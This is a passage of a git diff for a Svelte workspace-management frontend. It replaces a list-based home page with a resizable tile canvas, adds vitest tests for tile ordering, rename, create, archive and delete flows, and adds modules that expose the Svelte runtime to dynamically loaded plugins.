+ placement: fakePlacement(),
+ active: false,
+ onRenameEnd: () => {},
+ });
+ expect(container.querySelector('[aria-label="Workspace has active conversations"]')).toBeNull();
+ });
+
+ it("double-clicking the title reveals the rename input (semantics preserved)", async () => {
+ const user = userEvent.setup();
+ const store = fakeStore();
+ render(WorkspaceTile, {
+ props: {
+ ws: fakeEntry(),
+ store,
+ placement: fakePlacement(),
+ onRenameEnd: () => {},
+ },
+ });
+
+ await user.dblClick(screen.getByText("My Workspace"));
+ expect(screen.getByLabelText("Workspace title")).toHaveValue("My Workspace");
+ });
+
+ it("the parent-driven rename mode (action bar) opens the same inline editor", async () => {
+ const user = userEvent.setup();
+ const store = fakeStore();
+ render(WorkspaceTile, {
+ props: {
+ ws: fakeEntry(),
+ store,
+ placement: fakePlacement(),
+ renaming: true,
+ onRenameEnd: () => {},
+ },
+ });
+ const input = screen.getByLabelText("Workspace title");
+ expect(input).toHaveValue("My Workspace");
+
+ await user.clear(input);
+ await user.type(input, "Renamed{Enter}");
+ expect(store.rename).toHaveBeenCalledWith("my-ws", "Renamed");
+ });
+
+ it("a failed rename surfaces the error on the face", async () => {
+ const user = userEvent.setup();
+ const store = {
+ rename: vi.fn(
+ async (): Promise<WorkspaceResult<WorkspaceEntry>> => ({
+ ok: false,
+ error: "boom",
+ }),
+ ),
+ } as unknown as WorkspaceStore;
+ render(WorkspaceTile, {
+ props: {
+ ws: fakeEntry(),
+ store,
+ placement: fakePlacement(),
+ renaming: true,
+ onRenameEnd: () => {},
+ },
+ });
+
+ await user.type(screen.getByLabelText("Workspace title"), "x{Enter}");
+ expect(screen.getByText("boom")).toBeInTheDocument();
+ });
+
+ it("an unchanged title does not hit the store and still ends the session", async () => {
+ const user = userEvent.setup();
+ const store = fakeStore();
+ const onRenameEnd = vi.fn();
+ render(WorkspaceTile, {
+ props: {
+ ws: fakeEntry(),
+ store,
+ placement: fakePlacement(),
+ renaming: true,
+ onRenameEnd,
+ },
+ });
+
+ await user.type(screen.getByLabelText("Workspace title"), "{Enter}");
+ expect(store.rename).not.toHaveBeenCalled();
+ expect(onRenameEnd).toHaveBeenCalled();
+ });
+});
diff --git a/src/features/workspaces/ui/WorkspacesHome.svelte b/src/features/workspaces/ui/WorkspacesHome.svelte
index d97eab7..196e831 100644
--- a/src/features/workspaces/ui/WorkspacesHome.svelte
+++ b/src/features/workspaces/ui/WorkspacesHome.svelte
@@ -1,110 +1,363 @@
<script lang="ts">
- import { onMount } from "svelte";
+ import { onMount, untrack } from "svelte";
import type { ComputerEntry } from "@dispatch/wire";
+ import {
+ PluginManager,
+ WorkspacePluginModal,
+ type PluginsStore,
+ type WorkspaceLayoutPort,
+ } from "../../plugins";
import type { WorkspaceStore } from "../store.svelte";
- import { isValidSlug, workspacePath } from "../logic/route";
- import WorkspaceCard from "./WorkspaceCard.svelte";
+ import { workspacePath } from "../logic/route";
+ import {
+ DEFAULT_VIEWPORT,
+ geometryFor,
+ mergeLayout,
+ pack,
+ type GridGeometry,
+ type Span,
+ } from "../logic/tile-layout";
+ import { type TileLayoutStore } from "../tile-layout-store.svelte";
+ import HomeHeader from "./HomeHeader.svelte";
+ import HomeTileGrid from "./HomeTileGrid.svelte";
+ import TileActionBar from "./TileActionBar.svelte";
+ import ResizePicker from "./ResizePicker.svelte";
+ import WorkspaceDetails from "./WorkspaceDetails.svelte";
+ import ArchivedWorkspaces from "./ArchivedWorkspaces.svelte";
let {
store,
onNavigate,
computers,
hasActive,
+ plugins,
+ layout,
+ tiles: tilesOverride,
}: {
store: WorkspaceStore;
onNavigate: (path: string) => void;
computers: readonly ComputerEntry[];
/**
- * Optional port forwarded to each {@link WorkspaceCard}: whether the
- * workspace has at least one active (generating / queued) conversation.
+ * Optional port: whether the workspace has at least one active
+ * (generating / queued) conversation — the tile's live indicator.
* Wired by the composition root to the app store. Absent → no indicator.
*/
hasActive?: (workspaceId: string) => boolean;
+ /**
+ * The plugin manager store (plan 07): drives the header's global
+ * "Plugins" button + the action bar's per-workspace Plugins action.
+ * Optional (absent in tests that don't exercise plugins).
+ */
+ plugins?: PluginsStore;
+ /**
+ * The layout port (plan 04 §4.4): forwarded to the per-workspace plugins
+ * modal's "Reset layout to default" affordance. Absent → the modal's
+ * layout section doesn't render.
+ */
+ layout?: WorkspaceLayoutPort;
+ /**
+ * The synced tile layout store (ONE shared document per device
+ * orientation, persisted by the backend's home-tile-layout plugin).
+ * Created by the page entry (App.svelte — the composition root that owns
+ * the httpBase); tests inject one.
+ */
+ tiles: TileLayoutStore;
} = $props();
onMount(() => {
void store.refresh();
});
- let newSlug = $state("");
- let slugError = $state<string | null>(null);
+ // The store arrives fully wired (the page entry created it over the real
+ // HTTP edge). The `untrack` capture (the repo's initial-value pattern, cf.
+ // App.svelte) dealiases the prop once — the component instance is the
+ // store's single owner from here on.
+ const tiles: TileLayoutStore = untrack(() => tilesOverride);
+
+ // Keep the layout merged with the live workspace list: unknown workspaces
+ // (deep-link auto-creates) append at the end; deleted ones drop. The
+ // no-op guards inside sync keep this effect from looping. Skipped until
+ // the first non-empty list arrives — `sync([])` before the initial
+ // `refresh()` resolves would WIPE the persisted order (the backend always
+ // serves "default", so an empty list only ever means "not loaded yet").
+ $effect(() => {
+ const ids = store.list.map((ws) => ws.id);
+ if (ids.length === 0) return;
+ tiles.sync(ids);
+ });
+
+ // ── The tile canvas' size decides the geometry (ONE pure function — no
+ // breakpoint classes). Start from the viewport, matching the boot probe;
+ // the canvas measurement then refines it (no transient wide reset on phones).
+ const initialViewport = typeof window === "undefined"
+ ? DEFAULT_VIEWPORT
+ : { width: window.innerWidth, height: window.innerHeight };
+ let regionEl = $state<HTMLDivElement | undefined>();
+ let size = $state<{ width: number; height: number } | undefined>();
+ const geometry: GridGeometry = $derived(
+ geometryFor(size?.width ?? initialViewport.width, size?.height ?? initialViewport.height),
+ );
+
+ $effect(() => {
+ const el = regionEl;
+ if (!el || typeof ResizeObserver === "undefined") return;
+ const observer = new ResizeObserver((entries) => {
+ const rect = entries[0]?.contentRect;
+ if (rect) size = { width: rect.width, height: rect.height };
+ });
+ observer.observe(el);
+ return () => observer.disconnect();
+ });
+
+ // Lock the store's active orientation to the resolved grid geometry: the
+ // landscape/portrait split IS the device-type split — every landscape
+ // device shares the `wide` document, every portrait device the `tall` one.
+ // Same-mode calls are a no-op inside the store; an orientation change
+ // resets + re-probes (never flashing the other orientation's arrangement).
+ $effect(() => {
+ tiles.setMode(geometry.mode);
+ });
+
+ // The grid view: the SAME persisted data packs into either geometry —
+ // positions re-derive here, spans clamp for the RENDER only.
+ // Render-only fallback: workspace discovery must not wait for layout GET.
+ // Never sync/commit this provisional arrangement while the probe is unknown.
+ const entries = $derived(tiles.entries.length > 0
+ ? tiles.entries
+ : mergeLayout(null, store.list.map((ws) => ws.id)));
+ const placements = $derived(pack(entries, geometry));
+ const workspacesById = $derived(new Map(store.list.map((ws) => [ws.id, ws])));
+
+ // ── Selection + action bar ─────────────────────────────────────────────────
+ let selectedId = $state<string | null>(null);
+ const selected = $derived(selectedId !== null ? (workspacesById.get(selectedId) ?? null) : null);
+
+ function select(id: string): void {
+ selectedId = id;
+ }
+
+ function deselect(): void {
+ selectedId = null;
+ }
+
+ // ── Rename mode (the create flow + the action bar's Rename action) ────────
+ let renamingId = $state<string | null>(null);
+
+ // ── Resize picker (transient ghost preview; commit persists) ──────────────
+ let resizing = $state<{ id: string; span: Span | null } | null>(null);
+ const resizingEntry = $derived(
+ resizing ? (tiles.entries.find((tile) => tile.id === resizing?.id) ?? null) : null,
+ );
+
+ function startResize(): void {
+ if (!selected) return;
+ const entry = tiles.entries.find((tile) => tile.id === selected.id);
+ resizing = {
+ id: selected.id,
+ span: entry
+ ? { colSpan: entry.colSpan, rowSpan: entry.rowSpan }
+ : { colSpan: 1, rowSpan: 1 },
+ };
+ }
+
+ function commitResize(colSpan: number, rowSpan: number): void {
+ if (!resizing) return;
+ tiles.resize(resizing.id, colSpan, rowSpan);
+ resizing = null;
+ }
+
+ function cancelResize(): void {
+ resizing = null;
+ }
+
+ // ── Details flyout (the dense per-card settings). Id-based + gated on the
+ // selection, so deselecting (Escape) also dismisses it. ─────────────────────
+ let detailsForId = $state<string | null>(null);
+ const detailsFor = $derived(
+ selectedId !== null && detailsForId === selectedId
+ ? (workspacesById.get(selectedId) ?? null)
+ : null,
+ );
- const slugValid = $derived(newSlug.length > 0 && isValidSlug(newSlug));
+ // ── Per-workspace plugin modal ─────────────────────────────────────────────
+ let pluginsModalId = $state<string | null>(null);
+ const pluginsModalFor = $derived(
+ pluginsModalId !== null ? (workspacesById.get(pluginsModalId) ?? null) : null,
+ );
- function createWorkspace(): void {
- const slug = newSlug.trim();
- if (!isValidSlug(slug)) {
- slugError = "Lowercase letters, digits, and hyphens (1–40 chars).";
+ // Global plugin manager modal (plan 07 §7.2): the ONLY surface that
+ // loads/unloads code (strict layering).
+ let managerOpen = $state(false);
+
+ // ── Archived workspaces modal ──────────────────────────────────────────────
+ let archivedOpen = $state(false);
+
+ // ── Actions (the action bar) ───────────────────────────────────────────────
+ function openWorkspace(id: string): void {
+ deselect();
+ onNavigate(workspacePath(id));
+ }
+
+ async function deleteSelected(): Promise<void> {
+ if (!selected) return;
+ const ws = selected;
+ if (
+ !window.confirm(
+ `Delete workspace "${ws.title}"? Its conversations will be closed and moved to "default".`,
+ )
+ ) {
return;
}
- slugError = null;
- newSlug = "";
- onNavigate(workspacePath(slug));
+ const result = await store.remove(ws.id);
+ if (result.ok) deselect();
+ }
+
+ async function toggleStar(): Promise<void> {
+ if (!selected) return;
+ await store.setStarred(selected.id, !selected.starred);
+ }
+
+ async function archiveSelected(): Promise<void> {
+ if (!selected) return;
+ const ws = selected;
+ // Reversible without a confirm dialog — the workspace is hidden, not deleted.
+ const result = await store.setArchived(ws.id, true);
+ if (result.ok) deselect();
+ }
+
+ // ── Create (header popover): check the slug resolves to no archived
+ // workspace, create on the backend — do NOT navigate — place the new tile in
+ // the first empty slot, and go straight into rename.
+ async function createWorkspace(
+ slug: string,
+ ): Promise<{ ok: true } | { ok: false; error: string }> {
+ const result = await store.create(slug);
+ if (!result.ok) return { ok: false, error: result.error };
+ await store.refresh();
+ // Idempotent: if the list refresh's sync already appended the id, this
+ // MOVES it into the first empty slot instead of duplicating.
+ tiles.placeFirstEmpty(slug, geometry);
+ renamingId = slug;
+ return { ok: true };
+ }
+
+ // ── Sort overflow: re-apply the recent-activity order ──────────────────────
+ function sortByRecent(): void {
+ const activity = new Map(store.list.map((ws) => [ws.id, ws.lastActivityAt]));
+ tiles.sortByRecentActivity(activity);
+ }
+
+ // Escape unwinds the overlays: resize → selection.
+ function handleKeydown(e: KeyboardEvent): void {
+ if (e.key !== "Escape") return;
+ if (resizing) {
+ cancelResize();
+ } else if (selectedId !== null) {
+ deselect();
+ }
}
</script>
-<div class="mx-auto flex h-screen w-full max-w-3xl flex-col gap-4 p-6">
- <header class="flex items-center justify-between">
- <h1 class="text-2xl font-bold">Workspaces</h1>
- <a
- href="/default"
- class="btn btn-ghost btn-sm"
- onclick={(e) => {
- e.preventDefault();
- onNavigate("/default");
- }}
- >
- Default
- </a>
- </header>
-
- <form
- class="flex items-end gap-2"
- onsubmit={(e) => {
- e.preventDefault();
- createWorkspace();
- }}
- >
- <div class="flex-1">
- <label for="new-ws" class="mb-1 block text-xs font-semibold uppercase opacity-60"
- >New workspace</label
- >
- <input
- id="new-ws"
- class="input input-bordered w-full"
- placeholder="my-workspace"
- bind:value={newSlug}
- autocomplete="off"
- spellcheck="false"
- />
- </div>
- <button type="submit" class="btn btn-primary btn-sm" disabled={!slugValid}>Create</button>
- </form>
- {#if slugError}
- <p class="text-xs text-error">{slugError}</p>
- {/if}
-
- <div class="flex-1 overflow-y-auto">
+<svelte:window onkeydown={handleKeydown} />
+
+<div class="h-app flex w-full flex-col">
+ <HomeHeader
+ compact={geometry.mode === "tall"}
+ withPlugins={plugins !== undefined}
+ withSort={store.list.length > 1}
+ onCreate={createWorkspace}
+ onOpenPlugins={() => (managerOpen = true)}
+ onSort={() => void sortByRecent()}
+ onOpenArchived={() => (archivedOpen = true)}
+ />
+
+ <div bind:this={regionEl} class="min-h-0 w-full flex-1">
{#if store.loading && store.list.length === 0}
- <div class="flex h-32 items-center justify-center">
- <span class="loading loading-spinner loading-sm opacity-60"></span>
+ <div class="flex h-full items-center justify-center">
+ <span class="loading loading-spinner loading-lg opacity-60"></span>
</div>
{:else if store.list.length === 0}
- <p class="py-8 text-center text-sm opacity-60">
- No workspaces yet. Create one above or visit <code>/your-name</code> in the URL.
- </p>
+ <div class="flex h-full flex-col items-center justify-center gap-3 px-6 text-center">
+ <p class="text-2xl font-black tracking-tight opacity-80">No workspaces yet</p>
+ <p class="max-w-md text-sm opacity-60">
+ Create one with <strong>New workspace</strong> above, or visit
+ <code class="rounded bg-base-200 px-1.5 py-0.5">/your-name</code> in the URL — the first
+ tile drops onto the canvas ready to rename.
+ </p>
+ </div>
{:else}
- <ul class="flex flex-col gap-2">
- {#each store.list as ws (ws.id)}
- <WorkspaceCard
- {ws}
- {store}
- {onNavigate}
- {computers}
- {...(hasActive ? { hasActive } : {})}
- />
- {/each}
- </ul>
+ <HomeTileGrid
+ {geometry}
+ {placements}
+ {workspacesById}
+ {store}
+ {selectedId}
+ {renamingId}
+ preview={
+ resizing?.id !== undefined && resizing.span !== null
+ ? { id: resizing.id, ...resizing.span }
+ : null
+ }
+ {...(hasActive ? { hasActive } : {})}
+ onOpen={openWorkspace}
+ onSelect={select}
+ onPlace={(id, cell) => cell !== null && tiles.placeAtCell(id, cell, geometry)}
+ onRenameEnd={() => (renamingId = null)}
+ />
{/if}
</div>
</div>
+
+{#if selected && !renamingId}
+ <TileActionBar
+ ws={selected}
+ withPlugins={plugins !== undefined}
+ onOpen={() => openWorkspace(selected.id)}
+ onRename={() => (renamingId = selected.id)}
+ onResize={startResize}
+ onToggleStar={() => void toggleStar()}
+ onDetails={() => (detailsForId = selected.id)}
+ onPlugins={() => (pluginsModalId = selected.id)}
+ onArchive={() => void archiveSelected()}
+ onDelete={() => void deleteSelected()}
+ onClose={deselect}
+ />
+{/if}
+
+{#if resizing && resizingEntry}
+ <ResizePicker
+ {geometry}
+ initial={{ colSpan: resizingEntry.colSpan, rowSpan: resizingEntry.rowSpan }}
+ onPreview={(span) => {
+ if (resizing) resizing = { id: resizing.id, span };
+ }}
+ onCommit={commitResize}
+ onCancel={cancelResize}
+ />
+{/if}
+
+{#if detailsFor}
+ <WorkspaceDetails ws={detailsFor} {store} {computers} onClose={() => (detailsForId = null)} />
+{/if}
+
+{#if pluginsModalFor && plugins}
+ <WorkspacePluginModal
+ workspaceId={pluginsModalFor.id}
+ workspaceTitle={pluginsModalFor.title}
+ {plugins}
+ {...(layout ? { layout } : {})}
+ onClose={() => (pluginsModalId = null)}
+ />
+{/if}
+
+{#if managerOpen && plugins}
+ <PluginManager {plugins} onClose={() => (managerOpen = false)} />
+{/if}
+
+{#if archivedOpen}
+ <ArchivedWorkspaces
+ {store}
+ onOpen={(id) => openWorkspace(id)}
+ onClose={() => (archivedOpen = false)}
+ />
+{/if}
diff --git a/src/features/workspaces/ui/WorkspacesHome.test.ts b/src/features/workspaces/ui/WorkspacesHome.test.ts
new file mode 100644
index 0000000..5a66a42
--- /dev/null
+++ b/src/features/workspaces/ui/WorkspacesHome.test.ts
@@ -0,0 +1,333 @@
+import type { TileGeometryMode, TileLayoutData } from "@dispatch/tile-layout-contract";
+import type { Workspace, WorkspaceEntry } from "@dispatch/wire";
+import { render, screen, waitFor } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import type { WorkspaceHttp, WorkspaceResult } from "../adapter/http";
+import type { TileLayoutHttp, TileLayoutHttpResult } from "../adapter/tile-layout-http";
+import type { WorkspaceLookup } from "../logic/create";
+import { createTileLayoutStore } from "../tile-layout-store.svelte";
+import WorkspacesHome from "./WorkspacesHome.svelte";
+
+function ws(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
+ return {
+ id: "a",
+ title: "A",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ conversationCount: 1,
+ ...overrides,
+ };
+}
+
+/** A fake WorkspaceHttp edge with a controllable list (no mocks of our modules). */
+function fakeHttp(
+ list: WorkspaceEntry[] = [ws()],
+ lookup: (id: string) => Promise<WorkspaceLookup> = async () => ({ kind: "missing" }),
+): WorkspaceHttp {
+ return {
+ list: vi.fn(async (): Promise<WorkspaceEntry[]> => list),
+ // Create-on-miss: the backend persists the new workspace, so the next
+ // `list` serves it too.
+ ensure: vi.fn(async (id: string): Promise<WorkspaceResult<Workspace>> => {
+ if (!list.some((w) => w.id === id)) list.push(ws({ id, title: id }));
+ return { ok: true, value: ws({ id, title: id }) };
+ }),
+ get: vi.fn(lookup),
+ setTitle: vi.fn(),
+ setDefaultCwd: vi.fn(),
+ setDefaultComputer: vi.fn(),
+ star: vi.fn(),
+ unstar: vi.fn(),
+ delete: vi.fn(async (): Promise<WorkspaceResult<{ closedCount: number }>> => {
+ // Mirrors the backend: the workspace leaves the list.
+ list.splice(0);
+ return { ok: true, value: { closedCount: 0 } };
+ }),
+ } as unknown as WorkspaceHttp;
+}
+
+/**
+ * A fake tile-layout HTTP edge serving ONE controllable document per mode
+ * (no mocks of our modules). `docs` is the live store — assertions read it
+ * after `waitFor` (the boot probe + debounced sync writes land there).
+ */
+function memoryLayout(
+ initial: TileLayoutData | null = null,
+): TileLayoutHttp & { docs: Map<TileGeometryMode, TileLayoutData> } {
+ const docs = new Map<TileGeometryMode, TileLayoutData>();
+ if (initial !== null) docs.set("wide", initial);
+ return {
+ docs,
+ async getLayout(mode) {
+ return { ok: true, layout: docs.get(mode) ?? { version: 2, tiles: [] } };
+ },
+ async putLayout(mode, layout) {
+ docs.set(mode, layout);
+ return { ok: true, layout };
+ },
+ async deleteLayout(mode) {
+ docs.set(mode, { version: 2, tiles: [] });
+ return { ok: true, layout: docs.get(mode) as TileLayoutData };
+ },
+ };
+}
+
+describe("WorkspacesHome (tile canvas)", () => {
+ it("renders one tile per workspace, in the persisted tile order (not the list order)", async () => {
+ const list = [ws({ id: "a", title: "A" }), ws({ id: "b", title: "B" })];
+ const layout = memoryLayout({
+ version: 2,
+ tiles: [
+ { id: "b", order: 0, colSpan: 1, rowSpan: 1 },
+ { id: "a", order: 1, colSpan: 1, rowSpan: 1 },
+ ],
+ });
+ render(WorkspacesHome, {
+ props: {
+ store: (await import("../store.svelte")).createWorkspaceStore(fakeHttp(list)),
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles: createTileLayoutStore({ http: layout }),
+ },
+ });
+
+ await screen.findByRole("button", { name: "Open workspace B" });
+ const wrappers = document.querySelectorAll("[data-tile-id]");
+ expect([...wrappers].map((el) => el.getAttribute("data-tile-id"))).toEqual(["b", "a"]);
+ });
+
+ it.each([
+ false,
+ true,
+ ])("renders before the layout probe resolves (cached: %s)", async (cached) => {
+ const layout = memoryLayout();
+ const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+ layout.getLayout = vi.fn(
+ () =>
+ new Promise<TileLayoutHttpResult>((resolve) => {
+ gate.release = resolve;
+ }),
+ );
+ const put = vi.spyOn(layout, "putLayout");
+ const stored = {
+ version: 2,
+ tiles: [
+ { id: "b", order: 0, colSpan: 2, rowSpan: 2 },
+ { id: "a", order: 1, colSpan: 1, rowSpan: 1 },
+ ],
+ };
+ const storage = cached ? localStorage : undefined;
+ storage?.setItem("dispatch.tile-layout.tall", JSON.stringify(stored));
+ const width = vi.spyOn(window, "innerWidth", "get").mockReturnValue(390);
+ const height = vi.spyOn(window, "innerHeight", "get").mockReturnValue(844);
+ const tiles = createTileLayoutStore({ http: layout, initialMode: "tall", storage });
+ try {
+ render(WorkspacesHome, {
+ props: {
+ store: (await import("../store.svelte")).createWorkspaceStore(
+ fakeHttp([ws(), ws({ id: "b", title: "B" })]),
+ ),
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles,
+ },
+ });
+ await screen.findByRole("button", { name: "Open workspace A" });
+ await screen.findByRole("button", { name: "Open workspace B" });
+ expect(
+ [...document.querySelectorAll("[data-tile-id]")].map((el) =>
+ el.getAttribute("data-tile-id"),
+ ),
+ ).toEqual(cached ? ["b", "a"] : ["a", "b"]);
+ expect(tiles.providerState).toBe("unknown");
+ expect(tiles.entries).toEqual(cached ? stored.tiles : []);
+ expect(layout.getLayout).toHaveBeenCalledExactlyOnceWith("tall");
+ expect(put).not.toHaveBeenCalled();
+ gate.release?.({
+ ok: true,
+ layout: {
+ version: 2,
+ tiles: stored.tiles
+ .slice()
+ .reverse()
+ .map((tile, order) => ({ ...tile, order })),
+ },
+ });
+ await waitFor(() => {
+ expect(tiles.providerState).toBe("present");
+ expect(tiles.entries.map((tile) => tile.id)).toEqual(["a", "b"]);
+ // CSS-grid coordinates determine visual order; keyed DOM nodes may stay put.
+ expect(document.querySelector('[data-tile-id="a"]')).toHaveStyle("grid-row: 1 / span 1");
+ expect(document.querySelector('[data-tile-id="b"]')).toHaveStyle("grid-row: 2 / span 2");
+ });
+ } finally {
+ width.mockRestore();
+ height.mockRestore();
+ storage?.removeItem("dispatch.tile-layout.tall");
+ }
+ });
+
+ it("re-probes when the canvas changes orientation", async () => {
+ let measure: ResizeObserverCallback = () => {};
+ const observer = vi.spyOn(globalThis, "ResizeObserver").mockImplementation((callback) => {
+ measure = callback;
+ return { observe() {}, unobserve() {}, disconnect() {} };
+ });
+ const layout = memoryLayout();
+ const get = vi.spyOn(layout, "getLayout");
+ const tiles = createTileLayoutStore({ http: layout });
+ try {
+ render(WorkspacesHome, {
+ props: {
+ store: (await import("../store.svelte")).createWorkspaceStore(fakeHttp()),
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles,
+ },
+ });
+ await screen.findByRole("button", { name: "Open workspace A" });
+ measure(
+ [{ contentRect: { width: 390, height: 700 } }] as ResizeObserverEntry[],
+ {} as ResizeObserver,
+ );
+ await waitFor(() => {
+ expect(tiles.mode).toBe("tall");
+ expect(get.mock.calls).toEqual([["wide"], ["tall"]]);
+ });
+ await screen.findByRole("button", { name: "Open workspace A" });
+ } finally {
+ observer.mockRestore();
+ }
+ });
+
+ it("clicking a tile navigates to the workspace path", async () => {
+ const user = userEvent.setup();
+ const onNavigate = vi.fn();
+ render(WorkspacesHome, {
+ props: {
+ store: (await import("../store.svelte")).createWorkspaceStore(fakeHttp()),
+ onNavigate,
+ computers: [],
+ tiles: createTileLayoutStore({ http: memoryLayout() }),
+ },
+ });
+
+ const tile = await screen.findByRole("button", { name: "Open workspace A" });
+ await user.click(tile);
+ expect(onNavigate).toHaveBeenCalledWith("/a");
+ });
+
+ it("creating a workspace from the header does NOT navigate; the new tile enters rename mode", async () => {
+ const user = userEvent.setup();
+ const list = [ws({ id: "a", title: "A" })];
+ const onNavigate = vi.fn();
+ const store = (await import("../store.svelte")).createWorkspaceStore(fakeHttp(list));
+ render(WorkspacesHome, {
+ props: {
+ store,
+ onNavigate,
+ computers: [],
+ tiles: createTileLayoutStore({ http: memoryLayout() }),
+ },
+ });
+
+ await screen.findByRole("button", { name: "Open workspace A" });
+ await user.click(screen.getByRole("button", { name: "New workspace" }));
+ await user.type(screen.getByRole("textbox", { name: "New workspace" }), "fresh-ws{Enter}");
+
+ await waitFor(() => {
+ expect(screen.getByLabelText("Workspace title", { selector: "input" })).toBeInTheDocument();
+ });
+ expect(onNavigate).not.toHaveBeenCalled();
+ // The backend was asked to create it (create-on-miss).
+ expect(store.list.map((w) => w.id)).toContain("fresh-ws");
+ });
+
+ it("refuses to create an archived slug: message in the popover, form stays open, no tile", async () => {
+ const user = userEvent.setup();
+ const list = [ws({ id: "a", title: "A" })];
+ const http = fakeHttp(list, async (id) => ({
+ kind: "found",
+ workspace: ws({ id, title: id, archived: true }),
+ }));
+ const store = (await import("../store.svelte")).createWorkspaceStore(http);
+ render(WorkspacesHome, {
+ props: {
+ store,
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles: createTileLayoutStore({ http: memoryLayout() }),
+ },
+ });
+
+ await screen.findByRole("button", { name: "Open workspace A" });
+ await user.click(screen.getByRole("button", { name: "New workspace" }));
+ await user.type(screen.getByRole("textbox", { name: "New workspace" }), "old-ws{Enter}");
+
+ expect(await screen.findByText(/already exists and is archived/)).toBeInTheDocument();
+ // The popover stays open (the form/input is still mounted).
+ expect(screen.getByRole("textbox", { name: "New workspace" })).toBeInTheDocument();
+ // Nothing was ensured, no tile appeared, and no rename mode was entered.
+ expect(http.ensure).not.toHaveBeenCalled();
+ expect(store.list.map((w) => w.id)).toEqual(["a"]);
+ expect(screen.queryByLabelText("Workspace title")).toBeNull();
+ });
+
+ it("right-clicking a tile opens the action bar; Delete keeps the confirm + store call", async () => {
+ const user = userEvent.setup();
+ const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(true);
+ const list = [ws({ id: "a", title: "A" })];
+ const store = (await import("../store.svelte")).createWorkspaceStore(fakeHttp(list));
+ render(WorkspacesHome, {
+ props: {
+ store,
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles: createTileLayoutStore({ http: memoryLayout() }),
+ },
+ });
+
+ const tile = await screen.findByRole("button", { name: "Open workspace A" });
+ await user.pointer({ keys: "[MouseRight]", target: tile });
+
+ const deleteButton = await screen.findByRole("button", { name: "Delete" });
+ await user.click(deleteButton);
+
+ expect(confirmSpy).toHaveBeenCalledWith(expect.stringContaining('Delete workspace "A"?'));
+ await waitFor(() => {
+ expect(store.list.length).toBe(0);
+ });
+ confirmSpy.mockRestore();
+ });
+
+ it("workspaces unknown to the layout append at the end (deep-link auto-create)", async () => {
+ const list = [ws({ id: "a", title: "A" }), ws({ id: "b", title: "B" })];
+ const layout = memoryLayout({
+ version: 2,
+ tiles: [{ id: "b", order: 0, colSpan: 1, rowSpan: 1 }],
+ });
+ render(WorkspacesHome, {
+ props: {
+ store: (await import("../store.svelte")).createWorkspaceStore(fakeHttp(list)),
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles: createTileLayoutStore({ http: layout }),
+ },
+ });
+
+ await screen.findByRole("button", { name: "Open workspace B" });
+ await screen.findByRole("button", { name: "Open workspace A" });
+ const wrappers = document.querySelectorAll("[data-tile-id]");
+ expect([...wrappers].map((el) => el.getAttribute("data-tile-id"))).toEqual(["b", "a"]);
+ // And the sync persisted the appended entry.
+ await waitFor(() => {
+ const tiles = layout.docs.get("wide")?.tiles ?? [];
+ expect(tiles.map((tile) => tile.id)).toEqual(["b", "a"]);
+ });
+ });
+});
diff --git a/src/plugin-runtime/svelte-api.ts b/src/plugin-runtime/svelte-api.ts
new file mode 100644
index 0000000..cfc1de5
--- /dev/null
+++ b/src/plugin-runtime/svelte-api.ts
@@ -0,0 +1,6 @@
+// The Svelte API surface exposed to dynamically-imported frontend plugins
+// (plan 03): the import map maps the bare `svelte` specifier to this module's
+// emitted chunk, whose star re-exports are the SAME module instances the app
+// bundles (one rollup graph → one runtime). Entry-module exports are
+// preserved in full, so plugins can import bindings the app never uses.
+export * from "svelte";
diff --git a/src/plugin-runtime/svelte-internal-client.ts b/src/plugin-runtime/svelte-internal-client.ts
new file mode 100644
index 0000000..cc6b4d6
--- /dev/null
+++ b/src/plugin-runtime/svelte-internal-client.ts
@@ -0,0 +1,12 @@
+// The compiled-runes runtime exposed to dynamically-imported frontend
+// plugins (plan 03): the import map maps the bare `svelte/internal/client`
+// specifier to this module's emitted chunk — the same runtime instance the
+// app's own compiled components use.
+//
+// `svelte/internal/client` is intentionally untyped (the compiled-runes
+// runtime — its API is compiler-private), so the re-export needs the
+// suppression below. Nothing in the app imports THROUGH this module — the
+// import map hands it to plugins; its entry exports are preserved in full.
+//
+// @ts-expect-error — svelte/internal/client ships no declaration file
+export * from "svelte/internal/client";